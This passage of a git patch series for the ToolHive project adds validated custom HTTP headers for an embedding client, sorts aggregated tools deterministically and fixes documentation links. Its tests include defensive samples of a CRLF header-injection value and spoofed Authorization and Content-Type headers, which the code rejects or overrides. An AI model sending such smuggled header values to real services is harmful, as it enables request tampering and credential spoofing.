(e.g. "text-embedding-3-small"). Required when EmbeddingProvider is
"openai". Ignored for the "tei" provider, where the model is fixed by the
running TEI container.
The API key for an OpenAI-compatible service is not configured here: it is
read from the OPENAI_API_KEY environment variable so the secret never
lands in a CRD spec or ConfigMap. An empty key omits the Authorization
header, which supports keyless in-cluster gateways. | | Optional: \{\}
| +| `embeddingHeaders` _object (keys:string, values:[vmcp.config.EmbeddingHeaderValue](#vmcpconfigembeddingheadervalue))_ | EmbeddingHeaders holds additional HTTP headers sent with every embedding
request. Only supported when EmbeddingProvider is "openai". Values are
stored in plain text and must not contain secrets; Authorization
(derived from OPENAI_API_KEY) and Content-Type cannot be set. | | MaxProperties: 32
Optional: \{\}
| | `maxToolsToReturn` _integer_ | MaxToolsToReturn is the maximum number of tool results returned by a search query.
Defaults to 8 if not specified or zero. | | Maximum: 50
Minimum: 1
Optional: \{\}
| | `hybridSearchSemanticRatio` _string_ | HybridSearchSemanticRatio controls the balance between semantic (meaning-based)
and keyword search results. 0.0 = all keyword, 1.0 = all semantic.
Defaults to "0.5" if not specified or empty.
Serialized as a string because CRDs do not support float types portably. | | Pattern: `^([0-9]*[.])?[0-9]+$`
Optional: \{\}
| | `semanticDistanceThreshold` _string_ | SemanticDistanceThreshold is the maximum distance for semantic search results.
Results exceeding this threshold are filtered out from semantic search.
This threshold does not apply to keyword search.
Range: 0 = identical, 2 = completely unrelated.
Defaults to "1.0" if not specified or empty.
Serialized as a string because CRDs do not support float types portably. | | Pattern: `^([0-9]*[.])?[0-9]+$`
Optional: \{\}
| diff --git a/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml b/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml index b51a740c06..5ef2047f6a 100644 --- a/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml +++ b/examples/operator/virtual-mcps/vmcp_optimizer_openai.yaml @@ -68,6 +68,10 @@ spec: # Model requested from the service (required for the openai provider). embeddingModel: text-embedding-3-small embeddingServiceTimeout: 15s + # Optional extra headers sent with every embedding request (e.g. a + # gateway cache-scoping key). Plain text — never put secrets here. + embeddingHeaders: + x-cache-key: toolhive-optimizer incomingAuth: type: anonymous diff --git a/pkg/vmcp/config/config.go b/pkg/vmcp/config/config.go index 669e3665ed..32e4b107e5 100644 --- a/pkg/vmcp/config/config.go +++ b/pkg/vmcp/config/config.go @@ -908,8 +908,13 @@ type OutputProperty struct { // OptimizerConfig configures the MCP optimizer. // When enabled, vMCP exposes only find_tool and call_tool operations to clients // instead of all backend tools directly. +// // +kubebuilder:object:generate=true +// +kubebuilder:validation:XValidation:rule="!has(self.embeddingHeaders) || (has(self.embeddingProvider) && self.embeddingProvider == 'openai')",message="embeddingHeaders is only supported when embeddingProvider is 'openai'" +// +kubebuilder:validation:XValidation:rule=`!has(self.embeddingHeaders) || self.embeddingHeaders.all(k, k.matches('^[!#$%&\\x27*+.^_\\x60|~0-9A-Za-z-]+$') && !(k.lowerAscii() in ['authorization', 'content-type']))`,message="embeddingHeaders names must be valid HTTP header names and must not include Authorization or Content-Type" // +gendoc +// +//nolint:lll // CEL validation rules exceed line length limit type OptimizerConfig struct { // EmbeddingService is the full base URL of the embedding service endpoint // (e.g., http://my-embedding.default.svc.cluster.local:8080) for semantic @@ -959,6 +964,14 @@ type OptimizerConfig struct { // +optional EmbeddingModel string `json:"embeddingModel,omitempty" yaml:"embeddingModel,omitempty"` + // EmbeddingHeaders holds additional HTTP headers sent with every embedding + // request. Only supported when EmbeddingProvider is "openai". Values are + // stored in plain text and must not contain secrets; Authorization + // (derived from OPENAI_API_KEY) and Content-Type cannot be set. + // +kubebuilder:validation:MaxProperties=32 + // +optional + EmbeddingHeaders map[string]EmbeddingHeaderValue `json:"embeddingHeaders,omitempty" yaml:"embeddingHeaders,omitempty"` + // MaxToolsToReturn is the maximum number of tool results returned by a search query. // Defaults to 8 if not specified or zero. // +kubebuilder:validation:Minimum=1 @@ -985,6 +998,13 @@ type OptimizerConfig struct { SemanticDistanceThreshold string `json:"semanticDistanceThreshold,omitempty" yaml:"semanticDistanceThreshold,omitempty"` } +// EmbeddingHeaderValue is a custom embedding request header value: 1 to 8192 +// characters with no control characters other than tab. +// +kubebuilder:validation:MinLength=1 +// +kubebuilder:validation:MaxLength=8192 +// +kubebuilder:validation:Pattern=`^[^\x00-\x08\x0A-\x1F\x7F]*$` +type EmbeddingHeaderValue string + // CodeModeConfig configures vMCP code mode (the execute_tool_script virtual tool). // When enabled, agents can submit a Starlark script that calls multiple backend tools // server-side — with loops, conditionals, and parallel() fan-out — and receive a single diff --git a/pkg/vmcp/config/zz_generated.deepcopy.go b/pkg/vmcp/config/zz_generated.deepcopy.go index 2ec5928a5c..e460451b35 100644 --- a/pkg/vmcp/config/zz_generated.deepcopy.go +++ b/pkg/vmcp/config/zz_generated.deepcopy.go @@ -213,7 +213,7 @@ func (in *Config) DeepCopyInto(out *Config) { if in.Optimizer != nil { in, out := &in.Optimizer, &out.Optimizer *out = new(OptimizerConfig) - **out = **in + (*in).DeepCopyInto(*out) } if in.CodeMode != nil { in, out := &in.CodeMode, &out.CodeMode @@ -375,6 +375,13 @@ func (in *OperationalConfig) DeepCopy() *OperationalConfig { // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. func (in *OptimizerConfig) DeepCopyInto(out *OptimizerConfig) { *out = *in + if in.EmbeddingHeaders != nil { + in, out := &in.EmbeddingHeaders, &out.EmbeddingHeaders + *out = make(map[string]EmbeddingHeaderValue, len(*in)) + for key, val := range *in { + (*out)[key] = val + } + } } // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new OptimizerConfig. diff --git a/pkg/vmcp/optimizer/internal/similarity/embedding_client.go b/pkg/vmcp/optimizer/internal/similarity/embedding_client.go index 1d94d206de..cde96f72ef 100644 --- a/pkg/vmcp/optimizer/internal/similarity/embedding_client.go +++ b/pkg/vmcp/optimizer/internal/similarity/embedding_client.go @@ -22,7 +22,8 @@ func NewEmbeddingClient(cfg *types.OptimizerConfig) (types.EmbeddingClient, erro case "", types.EmbeddingProviderTEI: return newTEIClient(cfg.EmbeddingService, cfg.EmbeddingServiceTimeout) case types.EmbeddingProviderOpenAI: - return newOpenAIClient(cfg.EmbeddingService, cfg.EmbeddingModel, cfg.EmbeddingAPIKey, cfg.EmbeddingServiceTimeout) + return newOpenAIClient(cfg.EmbeddingService, cfg.EmbeddingModel, cfg.EmbeddingAPIKey, + cfg.EmbeddingHeaders, cfg.EmbeddingServiceTimeout) default: return nil, fmt.Errorf("unsupported embedding provider %q (supported: %q, %q)", cfg.EmbeddingProvider, types.EmbeddingProviderTEI, types.EmbeddingProviderOpenAI) diff --git a/pkg/vmcp/optimizer/internal/similarity/openai_client.go b/pkg/vmcp/optimizer/internal/similarity/openai_client.go index c9f3d1fdec..907164d16c 100644 --- a/pkg/vmcp/optimizer/internal/similarity/openai_client.go +++ b/pkg/vmcp/optimizer/internal/similarity/openai_client.go @@ -10,6 +10,7 @@ import ( "fmt" "io" "log/slog" + "maps" "net/http" "strings" "time" @@ -29,15 +30,17 @@ type openAIClient struct { baseURL string apiKey string model string + headers map[string]string httpClient *http.Client maxBatchSize int } // newOpenAIClient creates a client that POSTs to baseURL+"/embeddings" using the // given model. A non-empty apiKey is sent as a Bearer token; an empty apiKey -// omits the Authorization header so keyless endpoints work. Zero timeout uses -// defaultTimeout. -func newOpenAIClient(baseURL, model, apiKey string, timeout time.Duration) (*openAIClient, error) { +// omits the Authorization header so keyless endpoints work. headers are set on +// every request but cannot override Content-Type or Authorization. Zero timeout +// uses defaultTimeout. +func newOpenAIClient(baseURL, model, apiKey string, headers map[string]string, timeout time.Duration) (*openAIClient, error) { if baseURL == "" { return nil, fmt.Errorf("OpenAI embedding base URL is required") } @@ -51,12 +54,13 @@ func newOpenAIClient(baseURL, model, apiKey string, timeout time.Duration) (*ope } slog.Debug("OpenAI embedding client created", - "base_url", baseURL, "model", model, "timeout", timeout) + "base_url", baseURL, "model", model, "timeout", timeout, "custom_headers", len(headers)) return &openAIClient{ baseURL: baseURL, apiKey: apiKey, model: model, + headers: maps.Clone(headers), httpClient: &http.Client{Timeout: timeout}, maxBatchSize: openAIMaxBatchSize, }, nil @@ -129,6 +133,10 @@ func (c *openAIClient) embedChunk(ctx context.Context, texts []string) ([][]floa if err != nil { return nil, fmt.Errorf("failed to create OpenAI request: %w", err) } + for name, value := range c.headers { + req.Header.Set(name, value) + } + // Set after the custom headers so they can never be overridden. req.Header.Set("Content-Type", "application/json") if c.apiKey != "" { req.Header.Set("Authorization", "Bearer "+c.apiKey) diff --git a/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go b/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go index 59efacaad2..0812d01791 100644 --- a/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go +++ b/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go @@ -27,7 +27,7 @@ func TestOpenAIClient_Live(t *testing.T) { baseURL := cmp.Or(os.Getenv("OPENAI_EMBEDDING_BASE_URL"), "https://api.openai.com/v1") model := cmp.Or(os.Getenv("OPENAI_EMBEDDING_MODEL"), "text-embedding-3-small") - client, err := newOpenAIClient(baseURL, model, apiKey, 0) + client, err := newOpenAIClient(baseURL, model, apiKey, nil, 0) require.NoError(t, err) t.Cleanup(func() { _ = client.Close() }) diff --git a/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go b/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go index af7da66bc1..dd8a2b6879 100644 --- a/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go +++ b/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go @@ -20,21 +20,21 @@ func Test_newOpenAIClient(t *testing.T) { t.Run("empty URL returns error", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("", "text-embedding-3-small", "key", 0) + client, err := newOpenAIClient("", "text-embedding-3-small", "key", nil, 0) require.ErrorContains(t, err, "OpenAI embedding base URL is required") require.Nil(t, client) }) t.Run("empty model returns error", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("http://embeddings:8080/v1", "", "key", 0) + client, err := newOpenAIClient("http://embeddings:8080/v1", "", "key", nil, 0) require.ErrorContains(t, err, "OpenAI embedding model is required") require.Nil(t, client) }) t.Run("valid args create client with default batch size", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", 0) + client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", nil, 0) require.NoError(t, err) require.NotNil(t, client) require.Equal(t, openAIMaxBatchSize, client.maxBatchSize) @@ -43,11 +43,20 @@ func Test_newOpenAIClient(t *testing.T) { t.Run("custom timeout", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", 5*time.Second) + client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", nil, 5*time.Second) require.NoError(t, err) require.NotNil(t, client) require.Equal(t, 5*time.Second, client.httpClient.Timeout) }) + + t.Run("headers are cloned at construction", func(t *testing.T) { + t.Parallel() + headers := map[string]string{"x-cache-key": "toolhive"} + client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", headers, 0) + require.NoError(t, err) + headers["x-cache-key"] = "mutated" + require.Equal(t, "toolhive", client.headers["x-cache-key"]) + }) } func TestOpenAIClient_Embed(t *testing.T) { @@ -278,6 +287,48 @@ func TestOpenAIClient_OmitsAuthHeaderWhenKeyless(t *testing.T) { require.NoError(t, err) } +func TestOpenAIClient_SendsCustomHeaders(t *testing.T) { + t.Parallel() + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + require.Equal(t, "toolhive-optimizer", r.Header.Get("x-cache-key")) + require.Equal(t, "eu-west", r.Header.Get("X-Gateway-Region")) + require.Equal(t, "application/json", r.Header.Get("Content-Type")) + require.Equal(t, "Bearer test-key", r.Header.Get("Authorization")) + writeOpenAIEmbeddings(t, w, [][]float32{{0.1}}) + })) + t.Cleanup(srv.Close) + + client, err := newOpenAIClient(srv.URL, "text-embedding-3-small", "test-key", map[string]string{ + "x-cache-key": "toolhive-optimizer", + "X-Gateway-Region": "eu-west", + }, 0) + require.NoError(t, err) + + _, err = client.Embed(context.Background(), "hello") + require.NoError(t, err) +} + +func TestOpenAIClient_ProtocolHeadersWinOverCustomHeaders(t *testing.T) { + t.Parallel() + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + require.Equal(t, "application/json", r.Header.Get("Content-Type")) + require.Equal(t, "Bearer test-key", r.Header.Get("Authorization")) + writeOpenAIEmbeddings(t, w, [][]float32{{0.1}}) + })) + t.Cleanup(srv.Close) + + client, err := newOpenAIClient(srv.URL, "text-embedding-3-small", "test-key", map[string]string{ + "authorization": "Bearer spoofed", + "content-type": "text/plain", + }, 0) + require.NoError(t, err) + + _, err = client.Embed(context.Background(), "hello") + require.NoError(t, err) +} + func TestOpenAIClient_Close(t *testing.T) { t.Parallel() diff --git a/pkg/vmcp/optimizer/internal/types/types.go b/pkg/vmcp/optimizer/internal/types/types.go index 1eb90f424a..9c54f5a92c 100644 --- a/pkg/vmcp/optimizer/internal/types/types.go +++ b/pkg/vmcp/optimizer/internal/types/types.go @@ -94,6 +94,11 @@ type OptimizerConfig struct { // keyless in-cluster gateways. Never populated for the TEI provider. EmbeddingAPIKey string + // EmbeddingHeaders holds additional HTTP headers sent with every request + // to an OpenAI-compatible embedding service. Never populated for the TEI + // provider. + EmbeddingHeaders map[string]string + // MaxToolsToReturn limits the number of tools returned by FindTool. MaxToolsToReturn *int diff --git a/pkg/vmcp/optimizer/optimizer.go b/pkg/vmcp/optimizer/optimizer.go index 7e41d0d0ed..35389cf0f2 100644 --- a/pkg/vmcp/optimizer/optimizer.go +++ b/pkg/vmcp/optimizer/optimizer.go @@ -18,11 +18,13 @@ import ( "log/slog" "os" "strconv" + "strings" "time" "github.com/mark3labs/mcp-go/mcp" "github.com/mark3labs/mcp-go/server" + httpval "github.com/stacklok/toolhive-core/validation/http" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/pkg/vmcp/optimizer/internal/similarity" "github.com/stacklok/toolhive/pkg/vmcp/optimizer/internal/tokencounter" @@ -54,6 +56,7 @@ func GetAndValidateConfig(cfg *vmcpconfig.OptimizerConfig) (*Config, error) { EmbeddingServiceTimeout: time.Duration(cfg.EmbeddingServiceTimeout), EmbeddingProvider: cfg.EmbeddingProvider, EmbeddingModel: cfg.EmbeddingModel, + EmbeddingHeaders: convertEmbeddingHeaders(cfg.EmbeddingHeaders), } if err := resolveEmbeddingProvider(optCfg); err != nil { @@ -100,8 +103,9 @@ func GetAndValidateConfig(cfg *vmcpconfig.OptimizerConfig) (*Config, error) { // resolveEmbeddingProvider normalizes and validates the embedding provider on // optCfg in place. An empty provider defaults to TEI so existing configs keep -// working; the OpenAI provider requires a service and model and reads its API -// key from the environment. +// working; the OpenAI provider requires a service and model, reads its API +// key from the environment, and is the only provider that accepts custom +// embedding headers. func resolveEmbeddingProvider(optCfg *Config) error { switch optCfg.EmbeddingProvider { case "": @@ -116,11 +120,61 @@ func resolveEmbeddingProvider(optCfg *Config) error { return fmt.Errorf("optimizer.embeddingModel is required when optimizer.embeddingProvider is %q", types.EmbeddingProviderOpenAI) } + if err := validateEmbeddingHeaders(optCfg.EmbeddingHeaders); err != nil { + return err + } optCfg.EmbeddingAPIKey = os.Getenv(embeddingAPIKeyEnvVar) default: return fmt.Errorf("optimizer.embeddingProvider must be %q or %q, got %q", types.EmbeddingProviderTEI, types.EmbeddingProviderOpenAI, optCfg.EmbeddingProvider) } + + // Defense in depth: mirrors the CEL rule on config.OptimizerConfig, + // covering config sources with no admission validation. + if optCfg.EmbeddingProvider != types.EmbeddingProviderOpenAI && len(optCfg.EmbeddingHeaders) > 0 { + return fmt.Errorf("optimizer.embeddingHeaders is only supported when optimizer.embeddingProvider is %q", + types.EmbeddingProviderOpenAI) + } + + return nil +} + +// convertEmbeddingHeaders converts the config header map to the internal +// plain-string representation, returning nil for an empty map. +func convertEmbeddingHeaders(headers map[string]vmcpconfig.EmbeddingHeaderValue) map[string]string { + if len(headers) == 0 { + return nil + } + out := make(map[string]string, len(headers)) + for name, value := range headers { + out[name] = string(value) + } + return out +} + +// validateEmbeddingHeaders rejects custom embedding headers with invalid +// RFC 7230 names or values, and headers the OpenAI client sets itself: +// Content-Type is always application/json, and Authorization is derived from +// the OPENAI_API_KEY environment variable so the token never lands in config. +// Reserved names are compared case-insensitively, matching HTTP semantics. +// Mirrors the CEL rule on config.OptimizerConfig as defense in depth. +func validateEmbeddingHeaders(headers map[string]string) error { + for name, value := range headers { + if err := httpval.ValidateHeaderName(name); err != nil { + return fmt.Errorf("optimizer.embeddingHeaders: invalid header name %q: %w", name, err) + } + if err := httpval.ValidateHeaderValue(value); err != nil { + return fmt.Errorf("optimizer.embeddingHeaders[%q]: %w", name, err) + } + switch strings.ToLower(name) { + case "authorization": + return fmt.Errorf("optimizer.embeddingHeaders must not set %q: the Authorization header is derived "+ + "from the %s environment variable", name, embeddingAPIKeyEnvVar) + case "content-type": + return fmt.Errorf("optimizer.embeddingHeaders must not set %q: the Content-Type header is always "+ + "application/json", name) + } + } return nil } diff --git a/pkg/vmcp/optimizer/optimizer_test.go b/pkg/vmcp/optimizer/optimizer_test.go index 8ccef87b0c..1c59228507 100644 --- a/pkg/vmcp/optimizer/optimizer_test.go +++ b/pkg/vmcp/optimizer/optimizer_test.go @@ -77,6 +77,103 @@ func TestGetAndValidateConfig(t *testing.T) { EmbeddingModel: "text-embedding-3-small", }, }, + { + name: "openai provider with custom headers", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }, + expected: &Config{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]string{"x-cache-key": "toolhive-optimizer"}, + }, + }, + { + name: "openai provider with uncommon valid header name", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-key'name`x": "value"}, + }, + expected: &Config{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]string{"x-key'name`x": "value"}, + }, + }, + { + name: "error: headers with tei provider", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://embeddings:8080", + EmbeddingProvider: types.EmbeddingProviderTEI, + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }, + errContains: "optimizer.embeddingHeaders is only supported", + }, + { + name: "error: headers with default provider", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://embeddings:8080", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }, + errContains: "optimizer.embeddingHeaders is only supported", + }, + { + name: "error: headers set authorization case-insensitively", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"AUTHORIZATION": "Bearer spoofed"}, + }, + errContains: "optimizer.embeddingHeaders must not set \"AUTHORIZATION\"", + }, + { + name: "error: headers set content-type", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"Content-Type": "text/plain"}, + }, + errContains: "optimizer.embeddingHeaders must not set \"Content-Type\"", + }, + { + name: "error: empty header name", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"": "value"}, + }, + errContains: "invalid header name", + }, + { + name: "error: header name with invalid characters", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x bad": "value"}, + }, + errContains: "invalid header name \"x bad\"", + }, + { + name: "error: header value with control characters", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "a\r\nb"}, + }, + errContains: "invalid HTTP header value", + }, { name: "error: openai provider without service", cfg: &vmcpconfig.OptimizerConfig{ @@ -263,6 +360,7 @@ func TestGetAndValidateConfig(t *testing.T) { } assert.Equal(t, wantProvider, result.EmbeddingProvider) assert.Equal(t, tt.expected.EmbeddingModel, result.EmbeddingModel) + assert.Equal(t, tt.expected.EmbeddingHeaders, result.EmbeddingHeaders) if tt.expected.MaxToolsToReturn != nil { require.NotNil(t, result.MaxToolsToReturn) From 8010cd0db632a45e610eb78019830f1fecc97e90 Mon Sep 17 00:00:00 2001 From: Gabriel Cosi <44176694+gabrielcosi@users.noreply.github.com> Date: Thu, 2 Jul 2026 23:25:29 +0200 Subject: [PATCH 08/66] Sort aggregated tools by name for deterministic embedding order (#5709) Sort merged tools by name for deterministic order MergeCapabilities builds the advertised tool slice by ranging a map, so every fresh aggregation produced a different order. The order is invisible in tools/list but leaks into order-sensitive consumers: the optimizer embeds the tool catalog in slice order, so each aggregation sent a differently ordered embedding batch. Sort the slice by resolved name, which is unique after conflict resolution. Same class of fix as #3450, which sorted discovered backends but not the tools inside the aggregation. Fixes #5702 Signed-off-by: Gabriel Cosi --- pkg/vmcp/aggregator/aggregator.go | 3 +- pkg/vmcp/aggregator/default_aggregator.go | 5 +++ .../aggregator/default_aggregator_test.go | 41 +++++++++++++++++++ 3 files changed, 48 insertions(+), 1 deletion(-) diff --git a/pkg/vmcp/aggregator/aggregator.go b/pkg/vmcp/aggregator/aggregator.go index 6d2b482359..50f6aa28d5 100644 --- a/pkg/vmcp/aggregator/aggregator.go +++ b/pkg/vmcp/aggregator/aggregator.go @@ -134,7 +134,8 @@ type ResolvedTool struct { // AggregatedCapabilities is the final unified view of all backend capabilities. // This is what gets exposed to MCP clients via tools/list, resources/list, prompts/list. type AggregatedCapabilities struct { - // Tools are the aggregated backend tools (ready to expose to clients). + // Tools are the aggregated backend tools (ready to expose to clients), + // sorted by name for deterministic ordering. Tools []vmcp.Tool // CompositeTools are the composite workflow tools defined in vMCP configuration. diff --git a/pkg/vmcp/aggregator/default_aggregator.go b/pkg/vmcp/aggregator/default_aggregator.go index 42b80bae3c..9fe1b35ad0 100644 --- a/pkg/vmcp/aggregator/default_aggregator.go +++ b/pkg/vmcp/aggregator/default_aggregator.go @@ -7,6 +7,7 @@ import ( "context" "fmt" "log/slog" + "sort" "sync" "go.opentelemetry.io/otel/attribute" @@ -353,6 +354,10 @@ func (a *defaultAggregator) MergeCapabilities( } } + sort.Slice(tools, func(i, j int) bool { + return tools[i].Name < tools[j].Name + }) + // Add resources to routing table for _, resource := range resolved.Resources { backend := registry.Get(ctx, resource.BackendID) diff --git a/pkg/vmcp/aggregator/default_aggregator_test.go b/pkg/vmcp/aggregator/default_aggregator_test.go index 1507327713..7634dd1110 100644 --- a/pkg/vmcp/aggregator/default_aggregator_test.go +++ b/pkg/vmcp/aggregator/default_aggregator_test.go @@ -306,6 +306,47 @@ func TestDefaultAggregator_MergeCapabilities(t *testing.T) { }) } +func TestDefaultAggregator_MergeCapabilities_DeterministicToolOrder(t *testing.T) { + t.Parallel() + + names := []string{"zebra_tool", "middle_tool", "alpha_tool", "omega_tool", "delta_tool", "beta_tool", "gamma_tool"} + resolvedTools := make(map[string]*ResolvedTool, len(names)) + for _, name := range names { + resolvedTools[name] = &ResolvedTool{ + ResolvedName: name, + OriginalName: name, + BackendID: "backend1", + } + } + + registry := vmcp.NewImmutableRegistry([]vmcp.Backend{ + { + ID: "backend1", + Name: "Backend 1", + BaseURL: "http://backend1:8080", + TransportType: "streamable-http", + HealthStatus: vmcp.BackendHealthy, + }, + }) + agg := NewDefaultAggregator(nil, nil, nil, nil) + + want := []string{"alpha_tool", "beta_tool", "delta_tool", "gamma_tool", "middle_tool", "omega_tool", "zebra_tool"} + + // Repeated because map iteration order is re-randomized on every merge. + for range 10 { + aggregated, err := agg.MergeCapabilities( + context.Background(), &ResolvedCapabilities{Tools: resolvedTools}, registry, + ) + require.NoError(t, err) + + got := make([]string, len(aggregated.Tools)) + for i, tool := range aggregated.Tools { + got[i] = tool.Name + } + require.Equal(t, want, got, "tools should always be sorted by name") + } +} + func TestDefaultAggregator_AggregateCapabilities(t *testing.T) { t.Parallel() From 72da2e8bef139859b064e14460d27ba1943340e8 Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Fri, 3 Jul 2026 06:59:54 +0300 Subject: [PATCH 09/66] Fix documentation link rot across the repo (#5711) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Fix documentation link rot across the repo A doc-graph scan found 70 broken links/anchors (18 broken links, 52 broken anchors) plus real documentation disconnected from the navigation surface. All errors are fixed; the graph now passes matlatl check with zero broken links and zero broken anchors. CRD API reference (docs/operator/crd-api.md, generated): - Added +gendoc markers to types referenced in field tables but never rendered as headings: vmcp.config.Duration, pkg.json.Map, pkg.json.Any, pkg.vmcp.ConflictResolutionStrategy, pkg.vmcp.DiscoveredBackend, api.v1beta1.DiscoveredBackend (alias), api.v1beta1.PermissionProfileSpec - Added +groupName/+versionName to pkg/vmcp/doc.go and new pkg/json/doc.go so crd-ref-docs discovers these packages as group-versions and renders their +gendoc-marked types - Updated type.tpl: +gendoc-marked types now bypass the markdownShouldRenderType gate (so unreferenced helper types get headings); types with a GVK (deprecated v1alpha1 resources) render regardless of package; the Underlying type line uses the type name instead of a broken local link - Regenerated crd-api.md — all 53 broken anchors resolved Stale proposal links (RFCs moved to toolhive-rfcs repo): - THV-2106-virtual-mcp-server.md → THV-0008 (external GitHub link) - otel-integration-proposal.md → THV-0001 (external GitHub link) - Updated cmd/vmcp/README.md, docs/observability.md, docs/operator/virtualmcpcompositetooldefinition-guide.md, docs/operator/virtualmcpserver-api.md, examples/vmcp-config.yaml, pkg/vmcp/doc.go Moved source file: - pkg/runner/remote_auth.go → pkg/auth/remote/handler.go (moved in commit dbeef088); updated docs/remote-mcp-authentication.md Missing/wrong targets: - docs/observability.md: wrong relative path for otel example - docs/operator/virtualmcpserver-api.md: links to non-existent per-resource API docs now point to crd-api.md anchors - docs/operator/virtualmcpserver-kubernetes-guide.md: removed links to deleted inline/k8s OIDC examples - docs/operator/virtualmcpcompositetooldefinition-guide.md: fixed anchor and links to non-existent guide/installation docs - docs/arch/README.md: #runconfig anchor → 05-runconfig-and-permissions.md - docs/runtime-version-customization.md: #protocol-schemes → arch/00-overview.md#protocol-builds - examples/operator/embedding-servers/README.md: link to non-existent virtual-mcps/README.md → vMCP Kubernetes guide - .github/workflows/pr-size-justification-template.md: CONTRIBUTING_LINK placeholder looked like a markdown link — replaced with plain text Navigation surface: - docs/README.md: added links to operator docs and other guides that were orphans/unreachable (restart-annotation, toolconfig- reconciliation, remote-mcp-authentication, runtime-version- customization, virtualmcpserver-kubernetes-guide, etc.) * Revert pr-size-justification-template change The CONTRIBUTING_LINK token is a runtime placeholder replaced by the pr-size-label-apply workflow, not a documentation link. Restoring it so the template substitution works correctly. --- .../api/v1beta1/mcpserver_types.go | 1 + .../api/v1beta1/virtualmcpserver_types.go | 1 + cmd/vmcp/README.md | 2 +- docs/README.md | 12 + docs/arch/README.md | 2 +- docs/observability.md | 4 +- docs/operator/crd-api.md | 880 ++++++++++++++++-- docs/operator/templates/markdown/type.tpl | 11 +- ...virtualmcpcompositetooldefinition-guide.md | 8 +- docs/operator/virtualmcpserver-api.md | 10 +- .../virtualmcpserver-kubernetes-guide.md | 4 +- docs/remote-mcp-authentication.md | 6 +- docs/runtime-version-customization.md | 2 +- examples/operator/embedding-servers/README.md | 2 +- examples/vmcp-config.yaml | 2 +- pkg/json/any.go | 2 + pkg/json/doc.go | 8 + pkg/vmcp/config/config.go | 1 + pkg/vmcp/doc.go | 5 +- pkg/vmcp/types.go | 2 + 20 files changed, 870 insertions(+), 95 deletions(-) create mode 100644 pkg/json/doc.go diff --git a/cmd/thv-operator/api/v1beta1/mcpserver_types.go b/cmd/thv-operator/api/v1beta1/mcpserver_types.go index ed4e066776..d2762f0013 100644 --- a/cmd/thv-operator/api/v1beta1/mcpserver_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpserver_types.go @@ -613,6 +613,7 @@ type PermissionProfileRef struct { } // PermissionProfileSpec defines the permissions for an MCP server +// +gendoc type PermissionProfileSpec 